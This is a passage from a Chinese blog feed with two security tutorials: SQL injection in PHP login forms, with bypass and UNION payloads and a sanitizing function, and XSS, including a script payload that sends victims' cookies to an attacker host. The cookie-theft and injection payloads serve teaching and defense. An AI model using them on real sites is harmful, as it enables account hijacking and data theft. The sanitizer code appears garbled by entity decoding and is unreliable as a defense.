margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　magic_quotes_gpc boolean</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), (backslash) and NUL's are escaped with a backslash automatically</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　如果没有转义，即 off 情况下，就会让攻击者有机可乘。以下列<a href="" target="_self" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>脚本为例：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?</div><div style="word-break: break-all; margin: 10px 0px;">if (isset($_POST["f_login"])) {</div><div style="word-break: break-all; margin: 10px 0px;">// 连接数据库...</div><div style="word-break: break-all; margin: 10px 0px;">// ...代码略...</div><div style="word-break: break-all; margin: 10px 0px;">// 检查用户是否存在</div><div style="word-break: break-all; margin: 10px 0px;">$t_strUname = $_POST["f_uname"];</div><div style="word-break: break-all; margin: 10px 0px;">$t_strPwd = $_POST["f_pwd"];</div><div style="word-break: break-all; margin: 10px 0px;">$t_strSQL = "SELECT * FROM tbl_users WHERE username='$t_strUname' AND password = '$t_strPwd' LIMIT 0,1";</div><div style="word-break: break-all; margin: 10px 0px;">if ($t_hRes = mysql_query($t_strSQL)) {</div><div style="word-break: break-all; margin: 10px 0px;">// 成功查询之后的处理. 略...</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;html&gt;&lt;head&gt;&lt;title&gt;test&lt;/title&gt;&lt;/head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;form method="post" action=""&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Username: &lt;input type="text" name="f_uname" size=30&gt;&lt;br&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Password: &lt;input type=text name="f_pwd" size=30&gt;&lt;br&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;input type="submit" name="f_login" value="登录"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/form&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/body&gt;</div></td></tr></tbody></table><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　在这个脚本中，当用户输入正常的用户名和密码，假设值分别为 zhang3、abc123，则提交的 SQL 语句如下：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_users WHERE username='zhang3' AND password = 'abc123' LIMIT 0,1</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　如果攻击者在 username 字段中输入：zhang3' OR 1=1 #，在 password 输入 abc123，则提交的 SQL 语句变成如下：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_users WHERE username='zhang3' OR 1=1 #' AND password = 'abc123' LIMIT 0,1</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　由于 # 是 mysql中的注释符， #之后的语句不被执行，实现上这行语句就成了：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_users WHERE username='zhang3' OR 1=1</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　这样攻击者就可以绕过认证了。如果攻击者知道数据库结构，那么它构建一个 UNION SELECT，那就更危险了：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　假设在 username 中输入：zhang3 ' OR 1 =1 UNION select cola, colb,cold FROM tbl_b #</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在password 输入： abc123，</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　则提交的 SQL 语句变成：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_users WHERE username='zhang3 ' OR 1 =1 UNION select cola, colb,cold FROM tbl_b #' AND password = 'abc123' LIMIT 0,1</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　这样就相当危险了。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">二、magic_quotes_gpc = On 时的注入攻击</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　当 magic_quotes_gpc = On 时，攻击者无法对字符型的字段进行 SQL 注入。这并不代表这就安全了。这时，可以通过数值型的字段进行SQL注入。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在最新版的 MYSQL 5.x 中，已经严格了数据类型的输入，已默认关闭自动类型转换。数值型的字段，不能是引号标记的字符型。也就是说，假设 uid 是数值型的，在以前的 mysql 版本中，这样的语句是合法的：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　INSERT INTO tbl_user SET uid="1";</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_user WHERE uid="1";</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在最新的 MYSQL 5.x 中，上面的语句不是合法的，必须写成这样：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　INSERT INTO tbl_user SET uid=1;</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　SELECT * FROM tbl_user WHERE uid=1;</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　这样我认为是正确的。因为作为开发者，向数据库提交正确的符合规则的数据类型，这是最基本的要求。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　那么攻击者在 magic_quotes_gpc = On 时，他们怎么攻击呢？很简单，就是对数值型的字段进行 SQL 注入。以下列的 php 脚本为例：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?</div><div style="word-break: break-all; margin: 10px 0px;">if (isset($_POST["f_login"])) {</div><div style="word-break: break-all; margin: 10px 0px;">// 连接数据库...</div><div style="word-break: break-all; margin: 10px 0px;">// ...代码略...</div><div style="word-break: break-all; margin: 10px 0px;">// 检查用户是否存在</div><div style="word-break: break-all; margin: 10px 0px;">$t_strUid = $_POST["f_uid"];</div><div style="word-break: break-all; margin: 10px 0px;">$t_strPwd = $_POST["f_pwd"];</div><div style="word-break: break-all; margin: 10px 0px;">$t_strSQL = "SELECT * FROM tbl_users WHERE uid=$t_strUid AND password = '$t_strPwd' LIMIT 0,1";</div><div style="word-break: break-all; margin: 10px 0px;">if ($t_hRes = mysql_query($t_strSQL)) {</div><div style="word-break: break-all; margin: 10px 0px;">// 成功查询之后的处理. 略...</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;html&gt;&lt;head&gt;&lt;title&gt;test&lt;/title&gt;&lt;/head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;form method="post" action=""&gt;</div><div style="word-break: break-all; margin: 10px 0px;">User ID: &lt;input type="text" name="f_uid" size=30&gt;&lt;br&gt;</div><div style="word-break: break-all; margin: 10px 0px;">Password: &lt;input type=text name="f_pwd" size=30&gt;&lt;br&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;input type="submit" name="f_login" value="登录"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/form&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/html&gt;</div></td></tr></tbody></table><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　上面这段脚本要求用户输入 userid 和 password 登入。一个正常的语句，用户输入 1001和abc123，提交的 sql 语句如下：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　SELECT * FROM tbl_users WHERE userid=1001 AND password = 'abc123' LIMIT 0,1</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　如果攻击者在 userid 处，输入：1001 OR 1 =1 #，则注入的sql语句如下：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　SELECT * FROM tbl_users WHERE userid=1001 OR 1 =1 # AND password = 'abc123' LIMIT 0,1</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　攻击者达到了目的。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=44074" target="_blank" sl-processed="1" style="word-break: break-all; color: #202859; text-decoration: none;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141519162nwwY.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　<strong style="word-break: break-all;">三、如何防止 PHP的SQL 注入攻击</strong></div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　如何防止 php sql 注入攻击？我认为最重要的一点，就是要对数据类型进行检查和转义。总结的几点规则如下：</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　1. php.ini 中的 display_errors 选项，应该设为　display_errors = off。这样 php 脚本出错之后，不会在 web 页面输出错误，以免让攻击者分析出有作的信息。</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　2. 调用 mysql_query 等 mysql 函数时，前面应该加上 @，即 @mysql_query(...)，这样 mysql 错误不会被输出。同理以免让攻击者分析出有用的信息。另外，有些程序员在做开发时，当 mysql_query出错时，习惯输出错误以及 sql 语句，例如：</div><div style="word-break: break-all; margin: 10px 0px; line-height: normal !important;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">&lt;php</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">$t_strSQL = "SELECT a from b....";</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">if (mysql_query($t_strSQL)) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">// 正确的处理</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">} else {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">echo "错误! SQL 语句：$t_strSQL</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">错误信息" . mysql_query();</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">exit;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">?&gt;</div></td></tr></tbody></table><br /><br /><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　这种做法是相当危险和愚蠢的。如果一定要这么做，最好在网站的配置文件中，设一个全局变量或定义一个宏，设一下 debug 标志：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?php</div><div style="word-break: break-all; margin: 10px 0px;">//全局配置文件中：</div><div style="word-break: break-all; margin: 10px 0px;">define("DEBUG_MODE", 0); &nbsp; &nbsp;// 1: DEBUG MODE; 0: RELEASE MODE</div><div style="word-break: break-all; margin: 10px 0px;">//调用脚本中：</div><div style="word-break: break-all; margin: 10px 0px;">$t_strSQL = "SELECT a from b....";</div><div style="word-break: break-all; margin: 10px 0px;">if (mysql_query($t_strSQL)) {</div><div style="word-break: break-all; margin: 10px 0px;">// 正确的处理</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">if (DEBUG_MODE) {</div><div style="word-break: break-all; margin: 10px 0px;">echo "错误! SQL 语句：$t_strSQL错误信息" . mysql_query();</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">exit;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　3. 对提交的 sql 语句，进行转义和类型检查。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　<strong style="word-break: break-all; line-height: normal !important;">四、我写的一个安全参数获取函数</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　为了防止用户的错误数据和 php + mysql 注入 ，我写了一个函数 PAPI_GetSafeParam()，用来获取安全的参数值：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?php</div><div style="word-break: break-all; margin: 10px 0px;">define("XH_PARAM_INT", 0);</div><div style="word-break: break-all; margin: 10px 0px;">define("XH_PARAM_TXT", 1);</div><div style="word-break: break-all; margin: 10px 0px;">function PAPI_GetSafeParam($pi_strName, $pi_Def = "", $pi_iType = XH_PARAM_TXT) {</div><div style="word-break: break-all; margin: 10px 0px;">if (isset($_GET[$pi_strName])) {</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = trim($_GET[$pi_strName]);</div><div style="word-break: break-all; margin: 10px 0px;">} else if (isset($_POST[$pi_strName])) {</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = trim($_POST[$pi_strName]);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return $pi_Def;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">// INT</div><div style="word-break: break-all; margin: 10px 0px;">if (XH_PARAM_INT == $pi_iType) {</div><div style="word-break: break-all; margin: 10px 0px;">if (is_numeric($t_Val)) {</div><div style="word-break: break-all; margin: 10px 0px;">return $t_Val;</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">return $pi_Def;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">// String</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("&amp;", "&amp;", $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("&lt;", "&lt;", $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("&gt;", "&gt;", $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">if (get_magic_quotes_gpc()) {</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("\"", """, $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("\''", "'", $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">} else {</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace(""", """, $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">$t_Val = str_replace("'", "'", $t_Val);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">return $t_Val;</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　在这个函数中，有三个参数：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　$pi_strName：变量名</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　$pi_Def：默认值</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　$pi_iType： 数据类型。取值为 XH_PARAM_INT，XH_PARAM_TXT，分别表示数值型和文本型。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　如果请求是数值型，那么调用 is_numeric() 判断是否为数值。如果不是，则返回程序指定的默认值。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　简单起见，对于文本串，我将用户输入的所有危险字符（包括HTML代码），全部转义。由于 php 函数 addslashes()存在漏洞，我用 str_replace()直接替换。get_magic_quotes_gpc( ) 函数是 php 的函数，用来判断 magic_quotes_gpc 选项是否打开。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　刚才第二节的示例，代码可以这样调用：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;?php</div><div style="word-break: break-all; margin: 10px 0px;">if (isset($_POST["f_login"])) {</div><div style="word-break: break-all; margin: 10px 0px;">// 连接数据库...</div><div style="word-break: break-all; margin: 10px 0px;">// ...代码略...</div><div style="word-break: break-all; margin: 10px 0px;">// 检查用户是否存在</div><div style="word-break: break-all; margin: 10px 0px;">$t_strUid = PAPI_GetSafeParam("f_uid", 0, XH_PARAM_INT);</div><div style="word-break: break-all; margin: 10px 0px;">$t_strPwd = PAPI_GetSafeParam("f_pwd", "", XH_PARAM_TXT);</div><div style="word-break: break-all; margin: 10px 0px;">$t_strSQL = "SELECT * FROM tbl_users WHERE uid=$t_strUid AND password = '$t_strPwd' LIMIT 0,1";</div><div style="word-break: break-all; margin: 10px 0px;">if ($t_hRes = mysql_query($t_strSQL)) {</div><div style="word-break: break-all; margin: 10px 0px;">// 成功查询之后的处理. 略...</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">?&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;">　　这样的话，就已经相当安全了。PAPI_GetSafeParam的代码有点长，但牺牲这点效率，对保证安全，是值得的。希望大家多批评指正。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; font-size: 11.818181991577148px;"><a href="http://www.51testing.com/batch.download.php?aid=44075" target="_blank" sl-processed="1" style="word-break: break-all; color: #45a2fc; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/01/14982672_201401141519163NCpW.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div></div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/409021.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-01-16 13:27 <a href="http://www.blogjava.net/qileilove/archive/2014/01/16/409021.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>XSS攻击及防御</title><link>http://www.blogjava.net/qileilove/archive/2013/12/13/407526.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Fri, 13 Dec 2013 01:55:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2013/12/13/407526.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/407526.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2013/12/13/407526.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/407526.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/407526.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">XSS</strong></u></a>又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　XSS攻击</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　XSS攻击类似于<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入攻击，攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　DOM Based XSS</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">场景一：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612.7272338867188px; background-color: #dddddd; font-size: 12px;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">&lt;%@ page language="<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">java</strong></u></a>"contentType="text/html; charset=UTF-8"pageEncoding="UTF-8"%&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;!DOCTYPEhtmlPUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;html&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;title&gt;XSS测试&lt;/title&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/head&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">页面内容：&lt;%=request.getParameter("content")%&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/body&gt;</div><div style="word-break: break-all; margin: 10px 0px;">&lt;/html&gt;</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=&lt;script&gt;window.open(&#8220;www.b.com?param=&#8221;+document.cookie)&lt;/script&gt;，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=&lt;script&gt;alert(&#8220;xss&#8221;)&lt;/script&gt;，浏览器展示页面内容的过程中，就会执行我的脚本，页面输出xss字样，这是攻击了我自己，那我如何攻击别人并且获利呢？</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　Stored XSS</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Stored XSS是存储式XSS漏洞，由于其攻击代码已经存储到服务器上或者<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>中，所以受害者是很多人。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　场景二：</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　a.com可以发<a href="" target="_self" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>，我登录后在a.com中发布了一篇文章，文章中包含了恶意代码，&lt;script&gt;window.open(&#8220;www.b.com?param=&#8221;+document.cookie)&lt;/script&gt;，保存文章。这时Tom和Jack看到了我发布的文章，当在查看我的文章时就都中招了，他们的cookie信息都发送到了我的服务器上，攻击成功！这个过程中，受害者是多个人。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　Stored XSS漏洞危害性更大，危害面更广。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　XSS防御</strong></div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 11.818181991577148px; background-color: #ffffff;">　　我们是在一个矛盾的世界中，有矛就有盾。只要我们的代码中不存在漏洞，攻击者就无从下手，我们要做一个没有缝的蛋。XSS防御有如下方式。</div><div style="word-break: break-all; line-height: 21.59090805053711px; margin: 10px 0px; color: 